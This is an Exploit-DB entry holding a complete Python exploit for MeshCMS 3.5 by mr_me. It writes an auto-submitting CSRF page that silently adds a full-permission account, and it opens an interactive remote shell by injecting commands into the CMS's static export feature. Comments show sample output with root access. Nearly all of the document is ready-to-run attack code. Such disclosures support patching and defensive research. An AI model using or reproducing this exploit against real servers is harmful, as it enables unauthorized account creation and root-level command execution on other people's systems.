MeshCMS 3.5 - Remote Code Execution

EDB-ID:

15997

CVE:



Author:

mr_me

Type:

webapps


Platform:

JSP

Date:

2011-01-16


#!/usr/bin/python
# MeshCMS v3.5 remote code execution exploit
# Environment:
# Tomcat 7.02/ubuntu 10.04
#
# 1) details:
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. 
# The admin will not be told a user has been added and will land into the admin console without any other suspicion. 
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the 
# private/[username].xml config file required for the users authentication.
#
# 2) details:
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. 
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
#
# Further notes:
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
# This exploit will attempt to target both 1) and 2).
#
# Usage:
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
#	| ------------------------------------------ |
#	| MeshCMS v3.5 Remote Code Execution Explo!t |
#	| by mr_me - net-ninja.net ----------------- |
# 
# (+) Writing CSRF..
# (!) Done! check index.html
# [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member 
#
#	| ------------------------------------------ |
# 	| MeshCMS v3.5 Remote Code Execution Explo!t |
#	| by mr_me - net-ninja.net ----------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Logging into CMS.. Logged in successfully
# (+) Be patient, the first few requests are slow.
# (+) Entering interactive remote console (q for quit)
# 
# mr_me@192.168.1.15:8080# id
# 
# uid=0(root) gid=0(root) groups=0(root)
# 
# mr_me@192.168.1.15:8080# uname -a
# 
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
# 
# mr_me@192.168.1.15:8080# q

import sys, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar

usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")
parser.add_option("-u", type="string", action="store", dest="username",
                  help="Member/Editor/Admin username")
parser.add_option("-P", type="string", action="store", dest="password",
                  help="Member/Editor/Admin password")
parser.add_option("-c", action="store_true", dest="csrf",
                  help="Create the add member CSRF")
parser.add_option("-e", action="store_true", dest="exploit",
                  help="Exploit the target with a shell (requires a valid account)")

(options, args) = parser.parse_args()

def banner():
    print "\n\t| ------------------------------------------ |"
    print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"
    print "\t| by mr_me - net-ninja.net ----------------- |\n"

if len(sys.argv) < 9:
	banner()
	parser.print_help()
	sys.exit(1)

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Microsoft Internet Explorer/4.0b1 (Windows 95)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]

def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print "\n(-) Proxy timed out"
            sys.exit(1)
    return proxy_handler
	
def testProxy():
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	opener = urllib2.build_opener(getProxy())
	try:
		check = opener.open("http://www.google.com").read()
	except:
		check = 0
		pass
	if check >= 1:
		sys.stdout.write("proxy is found to be working!\n")
		sys.stdout.flush()
	else:
		print "proxy failed, exiting.."
		sys.exit(1)

def writeCsrf():
	print "(+) Writing CSRF.."
	csrf = ("<html><body onload='document.f.submit()'>"
	"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"
	"<input type=\"hidden\" name=\"new\" value=\"true\">"
	"<input type=\"hidden\" name=\"username\" value=\"%s\">"
	"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"
	"<input type=\"hidden\" name=\"password1\" value=\"%s\">"
	"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" % 
	(options.target, options.dirPath, options.username, options.password, options.password))
	try:
		mycsrf = open("index.html", "w")
		mycsrf.write(csrf)
		mycsrf.close()
	except:
		print "(-) Failed writing csrf.. exiting."
	print "(!) Done! check index.html"

def interactiveAttack(opener):
	print "(+) Be patient, the first few requests are slow."
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                try:
			cmd = raw_input(hn)
			cmd = '+'.join(cmd.split())
			sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"
        		"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"
        		% (options.target, options.dirPath, options.target, options.dirPath, cmd))
        		try:
                		check = opener.open(sploit).read()
        		except urllib2.HTTPError, error:
                		check = error.read()
                		pass

			try:
				resp = check.split("standard output:")[1].split("end of standard output")[0]		
        			print resp
			except:
				pass

		except:
			break
	print "\n(-) Exiting.."

def doLogin():
	sys.stdout.write("(+) Logging into CMS.. ")
	sys.stdout.flush()
	adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"
	values = {'username' : options.username, 'password' : options.password } 
	data = urllib.urlencode(values)
	cj = CookieJar()
	if options.proxy:
		try:
			opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
			check = opener.open(adminIndex, data).read()
		except:
			print "\n(-) Proxy connection failed to remote target"
			sys.exit(1)
	else:
        	try:
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
			check = opener.open(adminIndex, data).read()
        	except:
			print "(-) Target connection failed, check your address"
			sys.exit(1)
	if re.search("Login successful", check):
		sys.stdout.write("Logged in successfully\n")
		sys.stdout.flush()
	else:
		sys.stdout.write("Login Failed! Exiting..\n")
		sys.stdout.flush()
		sys.exit(1)
	return opener

if __name__ == "__main__":
	banner()
	if options.exploit:
		if options.proxy:
			testProxy()
		myopener = doLogin()
		interactiveAttack(myopener)
	elif options.csrf:
		writeCsrf()
		addadmin = ""